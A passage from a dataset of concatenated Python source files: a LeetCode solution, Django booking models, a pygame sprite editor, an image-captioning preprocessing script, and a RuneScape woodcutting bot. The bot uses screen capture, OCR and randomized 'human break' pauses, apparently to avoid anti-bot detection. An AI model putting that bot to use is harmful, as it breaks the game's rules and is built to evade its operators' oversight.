!\r\n'''\r\n","repo_name":"Abhiramborige/CAO_Shortcuts","sub_path":"check_sum.py","file_name":"check_sum.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"20927996151","text":"# The string \"PAYPALISHIRING\" is written in a zigzag pattern on a given number of rows like this:\n# (you may want to display this pattern in a fixed font for better legibility)\n\n# P A H N\n# A P L S I I G\n# Y I R\n# And then read line by line: \"PAHNAPLSIIGYIR\"\n\n\nclass Solution:\n def convert(self, s: str, numrows: int) -> str:\n if numrows == 1:\n return s\n line = 0\n pos = 0\n down = True\n res = []\n for i in s:\n res.append((line, pos, i))\n if down and line < numrows - 1:\n line += 1\n elif down and line == numrows - 1:\n down = False\n pos += 1\n line -= 1\n elif not down and line == 0:\n down = True\n line += 1\n elif not down and line > 0:\n line -= 1\n pos += 1\n res.sort()\n return \"\".join([j[2] for j in res])\n","repo_name":"Antony-evm/Leet_Code_Solutions","sub_path":"Solutions/006. Zigzag Conversion/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72220183447","text":"\"\"\"\nBooking App - Models\n---------------------\nModels for booking app\n\n\"\"\"\n# Imports\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nimport datetime\n\n\nclass TeeTime(models.Model):\n \"\"\"Models for tee times\"\"\"\n objects = models.Manager()\n tee_datetime = models.DateTimeField(unique=True)\n max_players = models.IntegerField(default=4)\n available = models.BooleanField(default=True)\n\n def available_slots(self):\n \"\"\"\n Method that checks if there are available slots on a teetime\n \"\"\"\n booked_players = Booking.objects.filter(\n booking_datetime=self.tee_datetime).aggregate(\n total_players=models.Sum('players'))['total_players']\n if booked_players is None:\n booked_players = 0\n return self.max_players - booked_players\n\n # class method creates tee times for the next 7 days when called by signal\n @classmethod\n def create_tee_times(cls):\n \"\"\"\n When a user makes a booking this method will create a teetime for the\n next 7 days - prevents admin from manually having to create teetimes\n \"\"\"\n start_date = datetime.date.today()\n # Generate tee times for the next 7 days\n end_date = start_date + datetime.timedelta(days=7)\n\n start_time = datetime.time(9) # Start generating tee times from 9am\n end_time = datetime.time(17) # Generate tee times until 5pm\n\n current_date = start_date\n\n while current_date <= end_date:\n current_datetime = datetime.datetime.combine(\n current_date, start_time)\n\n while current_datetime.time() <= end_time:\n tee_time, created = cls.objects.get_or_create(\n tee_datetime=current_datetime)\n if created:\n tee_time.save()\n\n current_datetime += datetime.timedelta(hours=1)\n\n current_date += datetime.timedelta(days=1)\n\n def __str__(self):\n return f\"{self.tee_datetime}\"\n\n\nclass Booking(models.Model):\n \"\"\"Model for bookings\"\"\"\n objects = models.Manager()\n user_name = models.ForeignKey(User, on_delete=models.CASCADE)\n players = models.IntegerField(\n default=1,\n validators=[\n MaxValueValidator(4),\n MinValueValidator(1)\n ]\n )\n booking_datetime = models.ForeignKey(\n TeeTime, on_delete=models.CASCADE,\n to_field='tee_datetime', related_name='booking_datetime')\n buggy = models.BooleanField()\n\n def save(self, *args, **kwargs):\n \"\"\"\n method only saves the booking if there is enough spaces on the tee time\n and if the booking is saved it will check if there any remain spaces on\n the tee time and update the availability\n \"\"\"\n tee_time = TeeTime.objects.get(\n tee_datetime=self.booking_datetime.tee_datetime)\n\n available_slots = tee_time.available_slots()\n\n players = int(self.players)\n\n if Booking.objects.filter(\n booking_datetime=self.booking_datetime,\n user_name=self.user_name).first():\n\n existing_booking = Booking.objects.filter(\n booking_datetime=self.booking_datetime,\n user_name=self.user_name).first()\n\n existing_booking_players = int(existing_booking.players)\n\n if (available_slots + existing_booking_players) < players:\n raise ValueError(\n f\"\"\"You are trying to make a booking for {self.players}\n players, but this time only has space for {available_slots}\n players.\"\"\")\n else:\n if available_slots < players:\n raise ValueError(\n f\"\"\"You are trying to make a booking for {self.players}\n players, but this time only has space for {available_slots}\n players.\"\"\")\n super().save(*args, **kwargs)\n tee_time.available = available_slots > 0\n tee_time.save()\n\n\n@receiver(post_save, sender=Booking)\ndef generate_tee_times(sender, instance, created, **kwargs):\n \"\"\"\n signal creates teetimes everytime a booking is made\n \"\"\"\n if created:\n TeeTime.create_tee_times()\n","repo_name":"Oran-123/Hook-n-Slice-Golf","sub_path":"booking/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7794011968","text":"import pygame as pg\nimport prepare\n\nfrom state_engine import GameState\n\n\nclass Gameplay(GameState):\n try:\n pg.mixer.music.load(prepare.BG_M)\n pg.mixer.music.set_volume(0.5)\n pg.mixer.music.play(-1)\n except:\n pass\n def __init__(self):\n super(Gameplay, self).__init__()\n\n self.hair = None\n self.facial_hair = None\n self.skin = prepare.SKIN[0]\n self.eyes = None\n self.hat= None\n self.mask = None\n self.tops = None\n self.bottoms = None\n self.shoes = None\n\n self.background = None\n\n self.cursor = 0\n\n self.style_change = False\n self.color_change = False\n self.delete_change = False\n self.change_step = 1\n\n\n def change_list(self,whole_list,current_state,step):\n for i in range(len(whole_list)):\n if whole_list[i]==current_state:\n return whole_list[(i+step)%len(whole_list)]\n return whole_list[0]\n\n def change_array(self,whole_list,current_state,change,step):\n for i in range(len(whole_list)):\n for j in range(len(whole_list[i])):\n if whole_list[i][j]==current_state:\n if change == 'color':\n return whole_list[(i+step)%len(whole_list)][j]\n elif change == 'style':\n return whole_list[i][(j+step)%len(whole_list[i])]\n return whole_list[0][0]\n\n def get_event(self,event):\n x,y = pg.mouse.get_pos()\n if event.type == pg.QUIT:\n self.quit = True\n\n elif event.type == pg.MOUSEBUTTONDOWN:\n \n if event.button == 1:\n self.style_change = True\n self.change_step = 1\n elif event.button == 3:\n self.style_change = True \n self.change_step = -1\n elif event.button == 4:\n self.color_change = True\n self.change_step = 1\n elif event.button == 5:\n self.color_change = True\n self.change_step = -1\n elif event.button == 2:\n self.delete_change = True\n\n \n if prepare.BUTTON_RESET.collidepoint(x,y):\n self.hair = None\n self.facial_hair = None\n self.skin = prepare.SKIN[0]\n self.eyes = None\n self.hat= None\n self.mask = None\n self.tops = None\n self.bottoms = None\n self.shoes = None\n self.background = None\n elif prepare.BUTTON_SAVE.collidepoint(x,y):\n pg.image.save(self.image,'my_sprite0.png')\n elif prepare.BUTTON_HELP.collidepoint(x,y):\n self.done = True\n self.next_state = \"INFO\"\n elif prepare.BUTTON_SHOW.collidepoint(x,y):\n self.done = True\n self.next_state = \"SHOW\"\n elif prepare.BUTTON_QUIT.collidepoint(x,y):\n self.quit = True\n\n\n\n elif event.type == pg.MOUSEBUTTONUP:\n self.style_change = False\n\n self.delete_change = False\n \n\n\n\n elif event.type == pg.KEYUP:\n if event.key == pg.K_ESCAPE:\n self.quit = True\n \n def update(self, dt):\n\n x,y = pg.mouse.get_pos()\n\n if self.style_change == True:\n if prepare.B_HAT.collidepoint(x,y):\n if self.hat == None:\n self.hat = prepare.HATS[0][0]\n else:\n self.hat = self.change_array(prepare.HATS,self.hat,'style',self.change_step)\n self.style_change = False\n elif prepare.B_S_HAT.collidepoint(x,y):\n if self.hat == None:\n self.hat = prepare.SPECIAL_HATS[0]\n else:\n self.hat = self.change_list(prepare.SPECIAL_HATS,self.hat,self.change_step)\n self.style_change = False\n elif prepare.B_MASK.collidepoint(x,y):\n if self.mask == None:\n self.mask = prepare.MASKS[0][0]\n else:\n self.mask = self.change_array(prepare.MASKS,self.mask,'style',self.change_step)\n self.style_change = False\n elif prepare.B_S_MASK.collidepoint(x,y):\n if self.mask == None:\n self.mask = prepare.SPECIAL_MASKS[0]\n else:\n self.mask = self.change_list(prepare.SPECIAL_MASKS,self.mask,self.change_step)\n self.style_change = False\n elif prepare.B_TOPS.collidepoint(x,y):\n if self.tops == None:\n self.tops = prepare.TOPS[0][0]\n else:\n self.tops = self.change_array(prepare.TOPS,self.tops,'style',self.change_step)\n self.style_change = False\n elif prepare.B_BOTTOMS.collidepoint(x,y):\n if self.bottoms == None:\n self.bottoms = prepare.BOTTOMS[0][0]\n else:\n self.bottoms = self.change_array(prepare.BOTTOMS,self.bottoms,'style',self.change_step)\n self.style_change = False\n elif prepare.B_BACKGROUND.collidepoint(x,y):\n if self.background == None:\n self.background = prepare.BACKGROUND[0]\n else:\n self.background = self.change_list(prepare.BACKGROUND,self.background,self.change_step)\n self.style_change = False\n elif prepare.B_EYES.collidepoint(x,y):\n if self.eyes == None:\n self.eyes = prepare.EYES[0]\n else:\n self.eyes = self.change_list(prepare.EYES,self.eyes,self.change_step)\n self.style_change = False\n elif prepare.B_F_HAIR.collidepoint(x,y):\n if self.facial_hair == None:\n self.facial_hair = prepare.FACIAL_HAIR[0][0]\n else:\n self.facial_hair = self.change_array(prepare.FACIAL_HAIR,self.facial_hair,'style',self.change_step)\n self.style_change = False\n elif prepare.B_HAIR.collidepoint(x,y):\n if self.hair == None:\n self.hair = prepare.HAIR[0][0]\n else:\n self.hair = self.change_array(prepare.HAIR,self.hair,'style',self.change_step)\n self.style_change = False\n elif prepare.B_SKIN.collidepoint(x,y):\n self.skin = self.change_list(prepare.SKIN,self.skin,self.change_step)\n self.style_change = False\n elif prepare.B_SHOES.collidepoint(x,y):\n if self.shoes == None:\n self.shoes = prepare.SHOES[0]\n else:\n self.shoes = self.change_list(prepare.SHOES,self.shoes,self.change_step)\n self.style_change = False\n else:\n self.style_change = False\n\n if self.color_change == True:\n if prepare.B_HAT.collidepoint(x,y):\n if self.hat == None:\n self.hat = prepare.HATS[0][0]\n self.color_change = False\n else:\n self.hat = self.change_array(prepare.HATS,self.hat,'color',self.change_step)\n self.color_change = False\n elif prepare.B_MASK.collidepoint(x,y):\n if self.mask == None:\n self.mask = prepare.MASKS[0][0]\n self.color_change = False\n else:\n self.mask = self.change_array(prepare.MASKS,self.mask,'color',self.change_step)\n self.color_change = False\n elif prepare.B_TOPS.collidepoint(x,y):\n if self.tops == None:\n self.tops = prepare.TOPS[0][0]\n self.color_change = False\n else:\n self.tops = self.change_array(prepare.TOPS,self.tops,'color',self.change_step)\n self.color_change = False\n elif prepare.B_BOTTOMS.collidepoint(x,y):\n if self.bottoms == None:\n self.bottoms = prepare.BOTTOMS[0][0]\n self.color_change = False\n else:\n self.bottoms = self.change_array(prepare.BOTTOMS,self.bottoms,'color',self.change_step)\n self.color_change = False\n elif prepare.B_F_HAIR.collidepoint(x,y):\n if self.facial_hair == None:\n self.facial_hair = prepare.FACIAL_HAIR[0][0]\n self.color_change = False\n else:\n self.facial_hair = self.change_array(prepare.FACIAL_HAIR,self.facial_hair,'color',self.change_step)\n self.color_change = False\n elif prepare.B_HAIR.collidepoint(x,y):\n if self.hair == None:\n self.hair = prepare.HAIR[0][0]\n self.color_change = False\n else:\n self.hair = self.change_array(prepare.HAIR,self.hair,'color',self.change_step)\n self.color_change = False\n else:\n self.color_change = False\n\n if self.delete_change == True:\n if prepare.B_HAT.collidepoint(x,y):\n self.hat = None\n\n self.delete_change = False\n elif prepare.B_S_HAT.collidepoint(x,y):\n self.hat = None\n \n self.delete_change = False\n elif prepare.B_MASK.collidepoint(x,y):\n self.mask = None\n \n self.delete_change = False\n elif prepare.B_S_MASK.collidepoint(x,y):\n self.mask = None\n \n self.delete_change = False\n elif prepare.B_TOPS.collidepoint(x,y):\n self.tops = None\n \n self.delete_change = False\n elif prepare.B_BOTTOMS.collidepoint(x,y):\n self.bottoms = None\n \n self.delete_change = False\n elif prepare.B_BACKGROUND.collidepoint(x,y):\n self.background = None\n \n self.delete_change = False\n elif prepare.B_EYES.collidepoint(x,y):\n self.eyes = None\n \n self.delete_change = False\n elif prepare.B_F_HAIR.collidepoint(x,y):\n self.facial_hair = None\n \n self.delete_change = False\n elif prepare.B_HAIR.collidepoint(x,y):\n self.hair = None\n \n self.delete_change = False\n\n elif prepare.B_SHOES.collidepoint(x,y):\n self.shoes = None\n \n self.delete_change = False\n else:\n self.delete_change = False\n\n def draw(self, surface):\n surface.blit(prepare.BG_IMAGE,(0,0))\n self.image = pg.Surface((68,116),pg.SRCALPHA)\n\n if self.cursor == 0:\n prepare.change_cursor('default')\n elif self.cursor == 1:\n prepare.change_cursor('hand')\n elif self.cursor == 2:\n prepare.change_cursor('move')\n\n\n for cursor_change_bug in ['It is really a weird bug']:\n self.cursor =0\n x,y = pg.mouse.get_pos()\n for button in prepare.BUTTON_DICT:\n if prepare.BUTTON_DICT[button].collidepoint(x,y):\n self.cursor = 1\n pg.draw.line(surface,(0,0,255),\\\n prepare.BUTTON_DICT[button].bottomleft,\\\n prepare.BUTTON_DICT[button].bottomright,2)\n\n \n for button in prepare.B_DICT:\n if prepare.B_DICT[button].collidepoint(x,y):\n self.cursor = 2\n pg.draw.rect(surface,(0,0,255),prepare.B_DICT[button],2)\n\n\n\n if self.background != None:\n self.image_bg = self.image.copy()\n self.image_bg.fill(self.background)\n surface.blit(self.image_bg,prepare.SPRITE_POS.topleft)\n self.image.blit(self.skin,(0,0))\n\n if self.hair != None:\n self.image.blit(self.hair,(0,0))\n if self.facial_hair != None:\n self.image.blit(self.facial_hair,(0,0))\n if self.eyes != None:\n self.image.blit(self.eyes,(0,0)) \n if self.hat != None:\n self.image.blit(self.hat,(0,0))\n if self.mask != None:\n self.image.blit(self.mask,(0,0))\n if self.tops != None:\n self.image.blit(self.tops,(0,0))\n if self.bottoms != None:\n self.image.blit(self.bottoms,(0,0))\n if self.shoes != None:\n self.image.blit(self.shoes,(0,0))\n\n\n\n surface.blit(self.image,prepare.SPRITE_POS.topleft) \n\n \n\n\nclass Info(GameState):\n def __init__(self):\n super(Info,self).__init__()\n\n\n def get_event(self,event):\n if event.type == pg.QUIT:\n self.quit = True\n elif event.type == pg.MOUSEBUTTONDOWN:\n self.done = True\n self.next_state = \"GAMEPLAY\" \n elif event.type == pg.KEYUP:\n if event.key == pg.K_ESCAPE:\n self.quit = True\n\n def draw(self, surface):\n prepare.change_cursor('default')\n surface.blit(prepare.HELP_IMAGE,(0,0))\n\n\nclass Show(GameState):\n def __init__(self):\n super(Show,self).__init__()\n self.image = None\n self.image_load_error = 'Ooh,please save your own sprite first! ^V^'\n self.timer = 0\n self.bg_color = prepare.BACKGROUND[0]\n \n \n\n def get_event(self,event):\n if event.type == pg.QUIT:\n self.quit = True\n elif event.type == pg.MOUSEBUTTONDOWN:\n self.done = True\n self.next_state = \"GAMEPLAY\" \n elif event.type == pg.KEYUP:\n if event.key == pg.K_ESCAPE:\n self.quit = True\n\n def print_text(self,surface,centerposition,text,size,colour,bg_colour=None):\n font_layer = pg.font.Font(prepare.MY_FONT,size)\n font_surface = font_layer.render(text,True,colour,bg_colour)\n w,h = font_surface.get_size()\n position = centerposition[0]-w/2,centerposition[1]-h/2\n surface.blit(font_surface,position)\n\n def draw(self,surface):\n try:\n self.image = pg.image.load('my_sprite0.png').convert_alpha()\n \n except:\n self.image = None\n \n prepare.change_cursor('default')\n surface.fill(self.bg_color)\n if self.image == None:\n w,h = surface.get_size()\n self.print_text(surface,(w/2,h/2),self.image_load_error,16,(0,0,0))\n else:\n w,h = self.image.get_size()\n self.image0 = pg.transform.scale(self.image, (int(w*4), int(h*4)))\n self.image1 = pg.transform.scale(self.image0, (int(w*2), int(h*2)))\n self.image2 = pg.transform.scale(self.image1, (int(w), int(h)))\n self.image3 = pg.transform.scale(self.image2, (int(w/2), int(h/2)))\n self.image4 = pg.transform.scale(self.image3, (int(w/4), int(h/4)))\n\n surface.blit(self.image0,(0,0))\n surface.blit(self.image1,(4*w,0))\n surface.blit(self.image2,(6*w,0))\n surface.blit(self.image3,(7*w,0))\n surface.blit(self.image4,(int(7.5*w),0))\n \n\n def update(self,dt):\n self.timer += dt/500\n self.bg_color = prepare.BACKGROUND[int(self.timer)%len(prepare.BACKGROUND)]\n\n\n\n\n\n\n","repo_name":"xinmingzhang/sprite-builder","sub_path":"gameplay.py","file_name":"gameplay.py","file_ext":"py","file_size_in_byte":15778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29906419993","text":"import numpy as np\r\nimport cv2\r\nimport pyautogui\r\nimport random\r\nimport time\r\nimport os\r\nimport datetime\r\nimport pytesseract\r\nfrom PIL import Image, ImageGrab\r\n\r\nimport functions\r\nfrom functions import Image_count\r\nfrom functions import image_Rec_clicker\r\nfrom functions import screen_Image\r\nfrom functions import release_drop_item\r\nfrom functions import drop_item\r\nfrom functions import random_breaks\r\nfrom functions import invent_crop\r\nfrom functions import Image_Rec_single\r\nfrom functions import skill_lvl_up\r\nfrom functions import spaces\r\nfrom functions import mini_map_image\r\nfrom functions import random_combat\r\nfrom functions import random_quests\r\nfrom functions import random_skills\r\nfrom functions import random_inventory\r\nfrom functions import random_breaks\r\nfrom functions import find_Object\r\nfrom functions import xp_gain_check\r\nimport core\r\n\r\nglobal hwnd\r\nglobal iflag\r\nglobal icoord\r\niflag = False\r\nglobal newTime_break\r\nnewTime_break = False\r\nglobal timer\r\nglobal timer_break\r\nglobal ibreak\r\n\r\n\r\ndef random_break(start, c):\r\n global newTime_break\r\n startTime = time.time()\r\n # 1200 = 20 minutes\r\n a = random.randrange(0, 4)\r\n if startTime - start > c:\r\n options[a]()\r\n newTime_break = True\r\n\r\n\r\ndef randomizer(timer_breaks, ibreaks):\r\n global newTime_break\r\n global timer_break\r\n global ibreak\r\n random_break(timer_breaks, ibreaks)\r\n if newTime_break == True:\r\n timer_break = timer()\r\n ibreak = random.randrange(600, 2000)\r\n newTime_break = False\r\n\r\n # b = random.uniform(4, 5)\r\n\r\n\r\ndef timer():\r\n startTime = time.time()\r\n return startTime\r\n\r\n\r\ndef random_pause():\r\n b = random.uniform(20, 250)\r\n print('pausing for ' + str(b) + ' seconds')\r\n time.sleep(b)\r\n newTime_break = True\r\n\r\n\r\niflag = False\r\n\r\noptions = {0: random_inventory,\r\n 1: random_combat,\r\n 2: random_skills,\r\n 3: random_quests,\r\n 4: random_pause}\r\n\r\ndef drop_wood(type):\r\n print(\"dropping wood starting...\")\r\n invent_crop()\r\n drop_item()\r\n image_Rec_clicker(type + '_icon.png', 'dropping item', 5, 5, 0.9, 'left', 10, False)\r\n release_drop_item()\r\n print(\"dropping wood done\")\r\n\r\n\r\ndef firespot(spot):\r\n firespots = ['firespot_varrock_wood', 'firespot_draynor_willow', 'firespot_draynor_oak'\r\n , 'firespot_farador_oak', 'firespot_draynor_wood', 'firespot_lumbridge_wood']\r\n\r\n xy_firespots = [[45, 57], [50, 40], [80, 40], [25, 20], [25, 20], [0, -5]]\r\n\r\n x = xy_firespots[firespots.index(spot)][0]\r\n y = xy_firespots[firespots.index(spot)][1]\r\n\r\n print(mini_map_image(spot + '.png', x, y, 0.7, 'left', 15, 0))\r\n # print(mini_map_image(spot + '.png', 45, 57, 0.7, 'left', 5, 0)) # varrock wood\r\n # print(mini_map_image(spot + '.png', 50, 40, 0.7, 'left', 5, 0)) # draynor willow\r\n # print(mini_map_image(spot + '.png', 80, 40, 0.7, 'left', 5, 0)) # draynor oak\r\n # print(mini_map_image(spot + '.png', 25, 20, 0.7, 'left', 5, 0)) # farador oak\r\n # print(mini_map_image(spot + '.png', 25, 20, 0.7, 'left', 5, 0)) # draynor wood\r\n\r\ndef invent_enabled():\r\n return Image_count('inventory_enabled.png', threshold=0.9)\r\n\r\ndef bank_spot():\r\n functions.find_Object_precise(1, 5, 0, 0, 860, 775)\r\n\r\ndef deposit_bank_items(type):\r\n bank = Image_count('bank_deposit.png', 0.75)\r\n if bank > 0:\r\n functions.deposit_secondItem()\r\n random_breaks(0.3, 0.5)\r\n functions.exit_bank()\r\n if type == 'willow':\r\n mini_map_image('draynor_bank_spot.png', 10, 10, 0.7, 'left', 0, 75)\r\n elif type == 'oak':\r\n mini_map_image('draynor_bank_spot.png', 10, 10, 0.7, 'left', 55, 40)\r\n else:\r\n mini_map_image('draynor_bank_spot.png', 10, 10, 0.7, 'left', 55, 40)\r\n return bank\r\n else:\r\n print(\"bank inventory not found\")\r\n bank_spot()\r\n random_breaks(5, 10)\r\n return bank\r\ndef pick_random_tree_spot(color):\r\n if color == 'red':\r\n find_Object(0) # 0 red # 2 amber\r\n else:\r\n find_Object(2) # 0 red # 2 amber\r\n\r\ndef change_brown_black():\r\n # Load the aerial image and convert to HSV colourspace\r\n image = cv2.imread(\"textshot.png\")\r\n #hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n # define the list of boundaries\r\n # BGR\r\n # Define lower and uppper limits of what we call \"brown\"\r\n brown_lo = np.array([0, 0, 0])\r\n brown_hi = np.array([60, 80, 85])\r\n\r\n # Mask image to only select browns\r\n mask = cv2.inRange(image, brown_lo, brown_hi)\r\n\r\n # Change image to red where we found brown\r\n image[mask > 0] = (0, 0, 0)\r\n\r\n cv2.imwrite(\"textshot.png\", image)\r\ndef resize_quick():\r\n left = 25\r\n top = 49\r\n right = 135\r\n bottom = 70\r\n\r\n im = ImageGrab.grab(bbox=(left, top, right, bottom))\r\n im.save('screen_resize.png', 'png')\r\ndef resizeImage():\r\n resize_quick()\r\n png = 'screen_resize.png'\r\n im = Image.open(png)\r\n # saves new cropped image\r\n width, height = im.size\r\n new_size = (width * 4, height * 4)\r\n im1 = im.resize(new_size)\r\n im1.save('textshot.png')\r\n\r\ndef Image_to_Text(preprocess, image, parse_config='--psm 7'):\r\n resizeImage()\r\n change_brown_black()\r\n # construct the argument parse and parse the arguments\r\n image = cv2.imread(image)\r\n image = cv2.bitwise_not(image)\r\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n # check to see if we should apply thresholding to preprocess the\r\n # image\r\n if preprocess == \"thresh\":\r\n gray = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\r\n # make a check to see if median blurring should be done to remove\r\n # noise\r\n if preprocess == \"blur\":\r\n gray = cv2.medianBlur(gray, 3)\r\n\r\n if preprocess == 'adaptive':\r\n gray = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 31, 2)\r\n\r\n # write the grayscale image to disk as a temporary file so we can\r\n # apply OCR to it\r\n filename = \"{}.png\".format(os.getpid())\r\n cv2.imwrite(filename, gray)\r\n # load the image as a PIL/Pillow image, apply OCR, and then delete\r\n # the temporary file\r\n with Image.open(filename) as im:\r\n text = pytesseract.image_to_string(im, config=parse_config)\r\n os.remove(filename)\r\n #print(text)\r\n return text\r\ndef powercutter(color, type, firemaking=False, bank_items=True, spot='', ws=1, we=2, Take_Human_Break=False, Run_Duration_hours=6):\r\n t_end = time.time() + (60 * 60 * Run_Duration_hours)\r\n # using the datetime.fromtimestamp() function\r\n date_time = datetime.datetime.fromtimestamp(t_end)\r\n print(date_time)\r\n if firemaking:\r\n inv = 26\r\n else:\r\n inv = 27\r\n while time.time() < t_end:\r\n randomizer(timer_break, ibreak)\r\n invent = functions.invent_enabled()\r\n print(invent)\r\n if invent == 0:\r\n pyautogui.press('esc')\r\n # invent_crop()\r\n invent_count = Image_count(type + '_icon.png')\r\n print(\"wood: \", invent_count)\r\n if firemaking:\r\n inv = ws\r\n if invent_count > inv:\r\n if firemaking:\r\n if spot != '':\r\n firespot(spot)\r\n random_breaks(5, 8)\r\n w = random.randrange(ws, we)\r\n while invent_count > w:\r\n invent_count = Image_count(type + '_icon.png')\r\n print(\"wood: \", invent_count)\r\n random_breaks(0.1, 2)\r\n Image_Rec_single('tinderbox.png', 'burning wood', 5, 5, 0.9, 'left', 8, False)\r\n random_breaks(0.1, 1)\r\n Image_Rec_single(type + '_icon.png', 'burning wood', 5, 5, 0.9, 'left', 8, False)\r\n fire = False\r\n time_start = time.time()\r\n while not fire:\r\n fire = xp_gain_check('firemaking_xp.png')\r\n if not fire:\r\n fire = xp_gain_check('firemaking_xp2.png')\r\n print(fire)\r\n time_end = time.time() - time_start\r\n print(\"seconds count: %02d\", time_end)\r\n if time_end > 30:\r\n invent_count = 0\r\n fire = True\r\n break\r\n if bank_items:\r\n invent = invent_enabled()\r\n print(invent)\r\n if invent == 0:\r\n pyautogui.press('esc')\r\n bank_spot()\r\n random_breaks(9.5, 11)\r\n bank = deposit_bank_items(type)\r\n random_breaks(9.5, 11)\r\n while bank == 0:\r\n bank = deposit_bank_items(type)\r\n random_breaks(0.2, 5)\r\n drop_wood(type)\r\n random_breaks(0.2, 5)\r\n resizeImage()\r\n fished = Image_to_Text('thresh', 'textshot.png')\r\n print(fished)\r\n if fished.lower() != 'woodcutting' and fished.lower() != 'uoodcutting' and fished.lower() != 'voodcutting' and fished.lower() != 'joodcuttine' and fished.lower() != 'foodcuttir' and fished.lower() != 'foodcuttin' and fished.lower() != 'joodcuttinc':\r\n random_breaks(0.2, 3)\r\n pick_random_tree_spot(color)\r\n random_breaks(8, 10)\r\n if skill_lvl_up() != 0:\r\n print('level up')\r\n random_breaks(0.2, 3)\r\n pyautogui.press('space')\r\n random_breaks(0.1, 3)\r\n pyautogui.press('space')\r\n a = random.randrange(0, 2)\r\n # print(a)\r\n spaces(a)\r\n if Take_Human_Break:\r\n c = random.triangular(0.1, 50, 3)\r\n time.sleep(c)\r\n\r\n#mini_map_image('draynor_bank_spot.png', 10, 10, 0.8, 'left', 65, 55)\r\nif __name__ == \"__main__\":\r\n time.sleep(2)\r\n resizeImage()\r\n x = random.randrange(100, 250)\r\n y = random.randrange(400, 500)\r\n pyautogui.click(x, y, button='right')\r\n ibreak = random.randrange(300, 2000)\r\n print('will break in ' + str(ibreak / 60) + ' minutes')\r\n timer_break = timer()\r\n firespots = ['firespot_varrock_wood', 'firespot_draynor_willow', 'firespot_draynor_oak'\r\n , 'firespot_farador_oak', 'firespot_draynor_wood']\r\n powercutter('red', 'willow', firemaking=False, bank_items=True, spot='', Take_Human_Break=False, Run_Duration_hours=1)\r\n","repo_name":"EduardTruggelaar/osrs_basic_botting_functions","sub_path":"woodcutting.py","file_name":"woodcutting.py","file_ext":"py","file_size_in_byte":10433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"675564498","text":"import argparse\nimport os\nimport json\nimport logging\n\nimport torch\nfrom tqdm import tqdm\n\nfrom image_captioning.config import cfg\nfrom image_captioning.utils.imports import import_file\nfrom image_captioning.utils.misc import decode_sequence\nfrom image_captioning.utils.misc import encode_caption\nfrom image_captioning.utils.misc import mkdir\nfrom image_captioning.utils.checkpoint import ModelCheckpointer\nfrom image_captioning.utils.collect_env import collect_env_info\nfrom image_captioning.utils.logger import setup_logger\nfrom image_captioning.utils.comm import get_rank, synchronize, is_main_process, all_gather\nfrom image_captioning.modeling.encoder.build import build_encoder\nfrom image_captioning.data.build import make_data_loader\nfrom image_captioning.data.vocab.get_vocab import get_vocab\n\n\ndef _accumulate_data_on_multi_gpu(data):\n all_data = all_gather(data)\n if not is_main_process():\n return\n results = []\n for data in all_data:\n results.extend(data)\n return results\n\n\ndef generate_dataset(\n dataset,\n encoder,\n data_loader,\n device,\n seq_max_len,\n vocab\n):\n logger = logging.getLogger(\"image_captioning.generate_dataset\")\n root = dataset['args']['root']\n att_features_folder = os.path.abspath(os.path.join(root, repr(data_loader.dataset) + \"_att_features\"))\n fc_features_folder = os.path.abspath(os.path.join(root, repr(data_loader.dataset) + '_fc_features'))\n if not os.path.exists(att_features_folder):\n mkdir(att_features_folder)\n if not os.path.exists(fc_features_folder):\n mkdir(fc_features_folder)\n att_features_paths_file = dataset['args']['att_features_paths_file']\n fc_features_paths_file = dataset['args']['fc_features_paths_file']\n encoded_captions_file = dataset['args']['encoded_captions_file']\n encoded_captions_lens_file = dataset['args']['encoded_captions_lens_file']\n cocoids_file = dataset['args']['cocoids_file']\n enc_captions = []\n coco_ids = []\n cap_lens = []\n att_features_paths = []\n fc_features_paths = []\n with torch.no_grad():\n for i, data in enumerate(tqdm(data_loader, ncols=100, ascii=True, desc=\"processing\")):\n img_t, img_captions, temp_ids, temp_paths = data\n fc_features, att_features = encoder(img_t.to(device))\n for j in range(fc_features.size(0)):\n fc_feature_path = os.path.abspath(\n os.path.join(fc_features_folder, str(temp_ids[j])+\"_fc_feature.pt\")\n )\n att_feature_path = os.path.abspath(\n os.path.join(att_features_folder, str(temp_ids[j])+\"_att_feature.pt\")\n )\n att_feature = att_features[j].clone()\n fc_feature = fc_features[j].clone()\n torch.save(att_feature, att_feature_path)\n torch.save(fc_feature, fc_feature_path)\n att_features_paths.append(att_feature_path)\n fc_features_paths.append(fc_feature_path)\n for cap in img_captions[j]:\n c_len = min(len(cap), seq_max_len) # length without token\n tmp_cap = [''] + cap + [''] + \\\n ['' for _ in range(seq_max_len-c_len)]\n enc_captions.append(encode_caption(vocab, tmp_cap))\n cap_lens.append(c_len)\n coco_ids.extend(temp_ids)\n synchronize()\n att_features_paths = _accumulate_data_on_multi_gpu(att_features_paths)\n synchronize()\n fc_features_paths = _accumulate_data_on_multi_gpu(fc_features_paths)\n synchronize()\n cap_lens = _accumulate_data_on_multi_gpu(cap_lens)\n synchronize()\n enc_captions = _accumulate_data_on_multi_gpu(enc_captions)\n synchronize()\n coco_ids = _accumulate_data_on_multi_gpu(coco_ids)\n synchronize()\n if is_main_process():\n enc_captions = torch.tensor(enc_captions, dtype=torch.long)\n cap_lens = torch.tensor(cap_lens, dtype=torch.long)\n logger.info(\"writing att feature paths to file 